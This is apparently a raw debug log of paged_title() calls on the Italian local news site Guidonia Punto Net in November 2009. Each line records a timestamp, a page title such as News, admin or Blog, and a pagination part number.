+2009-11-15 14:45:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-15 15:07:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-15 22:44:16 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-15 22:48:41 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-15 22:57:18 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-15 23:17:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-16 05:30:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-16 05:43:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-16 06:15:35 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-16 06:27:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-16 06:31:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-16 07:32:50 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-16 07:34:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-16 07:45:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-16 08:48:24 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-16 07:50:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-16 08:00:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-16 12:27:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-16 12:29:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-16 15:19:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-16 15:25:20 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-16 15:52:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-16 16:15:01 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-16 18:50:22 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-16 21:00:39 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-16 21:43:09 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-16 22:17:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-11-17 00:30:46 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-17 00:32:23 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-17 04:18:50 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-17 06:04:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-11-17 06:21:42 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-17 07:06:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-17 07:29:34 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-11-17 08:49:25 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2009-11-17 09:13:08 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-17 09:26:21 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-11-17 10:51:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-11-17 13:18:29 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-17 13:54:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-11-17 14:30:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-17 14:30:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-17 17:49:16 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-17 18:52:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-11-17 21:10:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-11-17 21:16:40 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-11-18 00:49:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-11-18 01:14:31 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-18 01:21:18 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-11-18 01:37:46 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-18 02:52:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-11-18 03:21:02 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-11-18 03:47:19 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-18 04:29:49 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-11-18 04:55:21 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-18 04:57:14 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-18 07:04:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-11-18 07:18:38 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-18 07:19:24 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-18 07:20:09 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-18 07:29:55 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-11-18 09:30:38 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-18 09:31:21 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-18 09:31:52 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-18 10:06:27 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-11-18 10:30:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2009-11-18 11:39:22 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-18 11:40:02 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-18 11:40:46 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-18 13:43:22 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-18 13:44:28 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-18 13:45:37 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-18 14:59:14 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-11-18 15:07:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2009-11-18 17:13:25 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-18 17:14:31 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-18 17:15:22 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-18 18:58:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-11-18 19:09:47 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-11-18 20:18:28 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-18 20:20:23 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-18 20:27:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 23]
+2009-11-18 21:36:21 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-18 21:48:11 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-11-18 23:07:34 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-18 23:08:00 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-18 23:36:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-18 23:37:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-18 23:37:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-18 23:37:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-18 23:37:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-18 23:37:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-18 23:38:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-18 23:38:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-19 00:17:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2009-11-19 00:50:16 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-19 01:45:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 25]
+2009-11-19 03:02:01 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-19 04:03:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 26]
+2009-11-19 05:52:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 27]
+2009-11-19 07:28:22 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-19 07:03:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-11-19 07:42:37 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-11-19 07:44:21 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-11-19 08:32:01 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-19 08:33:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 29]
+2009-11-19 10:29:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-19 10:29:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-19 10:29:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-19 10:35:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-19 10:36:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-19 10:36:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-19 10:36:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-19 10:36:46 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-19 10:36:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-19 10:36:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-19 10:37:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-19 10:37:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-19 10:44:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 30]
+2009-11-19 10:54:28 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-19 12:28:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-19 12:29:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-19 12:30:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-19 12:30:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-19 12:59:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 31]
+2009-11-19 13:02:30 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-19 14:29:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 32]
+2009-11-19 14:32:25 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-19 14:35:46 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-11-19 14:37:17 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-11-19 16:42:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 33]
+2009-11-19 18:05:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 34]
+2009-11-19 19:25:20 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-11-19 19:29:23 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-11-19 19:49:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-19 20:33:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 35]
+2009-11-19 20:41:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-19 20:41:34 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-19 20:42:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-19 20:42:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-19 20:43:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-19 20:44:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-19 23:04:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 36]
+2009-11-20 01:03:46 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 37]
+2009-11-20 01:17:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-20 01:23:38 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 01:33:44 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-20 01:49:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 01:51:11 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-11-20 01:54:24 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-20 01:57:16 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-11-20 02:00:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-20 02:00:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-20 02:12:12 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-11-20 03:03:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 38]
+2009-11-20 03:15:16 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-11-20 03:18:44 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2009-11-20 03:43:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-20 03:48:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 05:04:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 39]
+2009-11-20 07:35:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 40]
+2009-11-20 07:03:52 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-11-20 07:06:26 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-11-20 08:05:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 41]
+2009-11-20 10:04:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 42]
+2009-11-20 11:34:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 43]
+2009-11-20 13:32:00 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-11-20 12:33:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-20 12:38:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-20 12:48:24 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-11-20 13:04:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 44]
+2009-11-20 14:34:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 45]
+2009-11-20 14:35:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 14:35:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 16:04:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 46]
+2009-11-20 17:34:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 47]
+2009-11-20 17:50:45 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-11-20 17:53:21 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-11-20 19:04:46 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 48]
+2009-11-20 20:19:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 20:50:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 49]
+2009-11-20 20:51:05 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-20 22:34:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 50]
+2009-11-20 22:36:01 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-11-20 22:38:13 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-11-20 22:42:50 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 00:36:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 51]
+2009-11-21 02:04:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 52]
+2009-11-21 03:34:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 53]
+2009-11-21 03:58:15 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-11-21 04:04:28 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 04:10:29 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 04:34:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 54]
+2009-11-21 05:05:46 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 05:38:31 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 06:04:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 55]
+2009-11-21 06:42:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 07:06:51 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 07:07:12 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 07:34:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 56]
+2009-11-21 08:20:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 08:20:31 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-11-21 08:21:42 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 08:22:50 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 08:49:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-21 09:04:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 57]
+2009-11-21 09:32:28 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 09:33:22 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 10:33:52 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 09:34:35 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 09:44:22 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 10:34:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 58]
+2009-11-21 10:52:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 10:52:51 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2009-11-21 11:00:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 11:37:23 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 11:37:46 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 11:38:30 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 11:39:08 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 11:39:19 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 12:04:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 59]
+2009-11-21 13:18:50 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2009-11-21 12:19:51 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 12:51:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 13:33:45 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 13:34:06 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 13:34:18 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 13:34:30 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 13:36:01 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 13:36:22 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-11-21 13:38:05 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 14:37:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 60]
+2009-11-21 14:49:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 15:08:55 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 15:09:33 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 15:10:07 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 15:10:44 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 15:11:01 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-11-21 16:04:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 61]
+2009-11-21 16:20:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 16:25:18 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 16:26:27 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2009-11-21 16:40:23 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 16:40:23 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 16:40:24 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 16:40:26 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 17:42:44 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 19:04:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 62]
+2009-11-21 18:18:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-21 18:37:31 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 18:37:32 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 18:37:33 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 18:37:44 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-11-21 19:00:30 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-11-21 19:04:34 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 63]
+2009-11-21 19:09:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-11-21 20:18:16 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-11-21 20:18:25 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 20:33:00 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-21 20:33:35 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-21 20:34:11 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-11-21 20:35:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 64]
+2009-11-21 20:39:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 20:39:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-11-21 21:19:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-11-21 21:35:33 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-11-21 22:31:41 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
